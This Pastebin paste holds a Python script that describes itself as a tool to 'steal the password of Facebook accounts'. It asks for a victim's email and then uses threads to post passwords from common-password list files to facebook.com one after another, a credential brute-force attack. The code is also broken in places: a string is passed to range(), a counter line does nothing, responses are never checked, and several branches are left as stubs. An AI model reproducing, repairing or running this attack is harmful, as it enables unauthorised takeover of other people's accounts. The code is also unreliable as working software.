Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import urllib.request
- import urllib.parse
- import threading
- def web():
- for i in content:
- username = input5
- password = i
- url = "https://www.facebook.com"
- values = {
- "email": username,
- "password": password
- }
- data = urllib.parse.urlencode(values)
- binary_data = data.encode("ascii")
- req = urllib.request.Request(url, binary_data)
- urllib.request.urlopen(req)
- print("This script steal the password of Facebook accounts (may not work).\n"
- "ABSOLUTELY DON'T MOVE ANY FILE INSIDE THE FOLDER AND MAKE SURE YOU HAVE A GOOD INTERNET CONNECTION"
- " (about 10 Mbps).\n"
- "To know how it works type 'help', to steal a Facebook account: type 'steal'.\n")
- while True:
- input1 = input("[help|steal|exit]\n")
- if input1 == "help":
- print("This script read all the lines of the chosen file\n"
- "and it paste them in the Facebook password entry (one by one).\n"
- "You must only choose the number of password you want to try and the Facebook email of the victim.\n")
- elif input1 == "steal":
- input2 = input("How many password you want to try?\n"
- "Choices:\n"
- " • 100 (The fastest way, but with the minor possibility of get the right password.)\n"
- " • 500 (It's less fast then 100 but with a little more possibility "
- "to get the right password.)\n"
- " • 1.000 (It's less fast then 500 but with a little more possibility "
- "to get the right password.)\n"
- " • 10.000 (It's less fast then 1.000 but with a little more possibility "
- "to get the right password.)\n"
- " • 100.000 (It's very slow, but the possibilities are many.)\n"
- " • 1.000.000 (It's absolutely the most slow but, if the user does not use a strong password,"
- "you will have his/her password ;D )\n"
- "Your choice: ")
- if input2 == "100":
- file = open("common100passwords.txt", "r")
- content = file.readlines()
- input3 = input("Continue? [y|n]")
- if input3 == "y":
- input4 = input("How many threads? ")
- if input4 != "" and input4.isdigit():
- threads = int(input4)
- input5 = input("Victim's email: ")
- for n in range(1, input4):
- threading.Thread(target=web).start()
- n = + 1
- else:
- print("Choose a valid number (unsigned integer number)\n")
- elif input3 == "n":
- break
- else:
- print("ERROR: number not valid.\nTry again.\n")
- elif input2 == "500":
- file = open("common500passwords.txt", "r")
- content = file.readlines()
- input3 = input("Continue? [y|n]")
- # ...
- elif input2 == "1.000" or input2 == "1000":
- file = open("common1.000passwords.txt", "r")
- content = file.readlines()
- input3 = input("Continue? [y|n]")
- # ...
- elif input2 == "10.000" or input2 == "10000":
- file = open("common10.000passwords.txt", "r")
- content = file.readlines()
- input3 = input("Continue? [y|n]")
- # ...
- elif input2 == "100.000" or input2 == "100000":
- file = open("common100.000passwords.txt", "r")
- content = file.readlines()
- input3 = input("Continue? [y|n]")
- # ...
- elif input2 == "1.000.000" or input2 == "1000000":
- file = open("common1.000.000passwords.txt", "r")
- content = file.readlines()
- input3 = input("Continue? [y|n]")
- # ...
- else:
- print("Choose only one of them.\n")
- elif input1 == "exit":
- break
- else:
- print("ERROR: command not found.\nTry again.\n")
Add Comment
Please, Sign In to add comment